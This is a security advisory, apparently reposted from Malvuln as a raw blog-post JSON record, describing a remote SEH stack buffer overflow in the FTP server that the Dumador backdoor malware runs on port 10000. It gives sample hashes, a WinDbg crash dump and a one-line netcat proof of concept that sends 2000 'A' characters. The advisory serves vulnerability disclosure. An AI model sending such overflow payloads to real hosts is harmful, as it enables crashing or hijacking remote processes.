Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https:\/\/malvuln.com\/advisory\/6cc630843cabf23621375830df474bc5.txt
Contact: malvuln13@gmail.com
Media: twitter.com\/malvuln<\/p>\n
Threat: Backdoor.Win32.Dumador.c
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware runs an FTP server on TCP port 10000. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting the Structured Exception Handler (SEH).
Family: Dumador
Type: PE32
MD5: 6cc630843cabf23621375830df474bc5
SHA256: 634eb7d9f5488b46ac44d784da8d82d98a8d86c1c8ef9a838535d44b8e420ea9
Vuln ID: MVID-2024-0679
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 04\/15\/2024<\/p>\n
Memory Dump:
(16e0.150): Stack buffer overflow – code c0000409 (first\/second chance not available)
eax=00000000 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000000 edi=00000002
eip=775ced3c esp=0401f208 ebp=0401f248 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
775ced3c c21400 ret 14h<\/p>\n
0:002> .ecxr
eax=0401fec8 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000410 edi=00000194
eip=74657c7c esp=0401f8b8 ebp=0401f8e0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
kernel32!lstrcpyA+0x1c:
74657c7c 880c16 mov byte ptr [esi+edx],cl ds:002b:04020000=??
*** WARNING: Unable to verify checksum for Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe<\/p>\n
0:002> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************<\/p>\n
FAULTING_IP:
kernel32!lstrcpyA+1c
74657c7c 880c16 mov byte ptr [esi+edx],cl<\/p>\n
EXCEPTION_RECORD: 0401f408 — (.exr 0x401f408)
ExceptionAddress: 74657c7c (kernel32!lstrcpyA+0x0000001c)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 04020000
Attempt to write to address 04020000<\/p>\n
PROCESS_NAME: Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe<\/p>\n
ERROR_CODE: (NTSTATUS) 0xc0000409 – The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.<\/p>\n
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 – The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.<\/p>\n
EXCEPTION_PARAMETER1: 00000015<\/p>\n
MOD_LIST: <ANALYSIS\/><\/p>\n
NTGLOBALFLAG: 0<\/p>\n
APPLICATION_VERIFIER_FLAGS: 0<\/p>\n
CONTEXT: 0401f458 — (.cxr 0x401f458)
eax=0401fec8 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000410 edi=00000194
eip=74657c7c esp=0401f8b8 ebp=0401f8e0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
kernel32!lstrcpyA+0x1c:
74657c7c 880c16 mov byte ptr [esi+edx],cl ds:002b:04020000=??
Resetting default scope<\/p>\n
WRITE_ADDRESS: 04020000 <\/p>\n
FOLLOWUP_IP:
kernel32!lstrcpyA+1c
74657c7c 880c16 mov byte ptr [esi+edx],cl<\/p>\n
STACK_ADDR_RAW_STACK_SYMBOL: 401fa34<\/p>\n
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]\n
LAST_CONTROL_TRANSFER: from 00401bf3 to 74657c7c<\/p>\n
FAULTING_THREAD: ffffffff<\/p>\n
DEFAULT_BUCKET_ID: STACKIMMUNE<\/p>\n
PRIMARY_PROBLEM_CLASS: STACKIMMUNE<\/p>\n
BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE<\/p>\n
STACK_TEXT:
00000000 00000000 unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe+0x0<\/p>\n
STACK_COMMAND: .cxr 000000000401F458 ; kb ; ** Pseudo Context ** ; kb<\/p>\n
SYMBOL_NAME: unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe<\/p>\n
FOLLOWUP_NAME: MachineOwner<\/p>\n
MODULE_NAME: unknown<\/p>\n
IMAGE_NAME: unknown<\/p>\n
DEBUG_FLR_IMAGE_TIMESTAMP: 0<\/p>\n
FAILURE_BUCKET_ID: STACKIMMUNE_c0000409_unknown!Unloaded<\/p>\n
BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_MISSING_GSFRAME_unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe<\/p>\n
Followup: MachineOwner
———<\/p>\n
0:002> !exchain
0401f2c0: ntdll!_except_handler4+0 (775d6a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (776157ad)
0401f8d0: kernel32!_except_handler4+0 (7466d450)
CRT scope 0, filter: kernel32!lstrcpyA+2d (74657c8d)
func: kernel32!lstrcpyA+40 (74657ca0)
0401ffcc: 41414141
Invalid exception stack at 41414141<\/p>\n
Exploit\/PoC:
python -c “print(‘A’*2000)” | nc64.exe x.x.x.x 10000
220 CONNECTED
ERROR
ERROR
ERROR<\/p>\n
Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<\/p>\n","protected":false},"excerpt":{"rendered":"
Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https:\/\/malvuln.com\/advisory\/6cc630843cabf23621375830df474bc5.txtContact: malvuln13@gmail.comMedia: twitter.com\/malvuln Threat: Backdoor.Win32.Dumador.cVulnerability: Remote Stack Buffer Overflow (SEH)Description: The malware runs an FTP server on TCP port 10000. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting the Structured Exception Handler (SEH).Family: …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56292","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56292"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56292\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56292"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}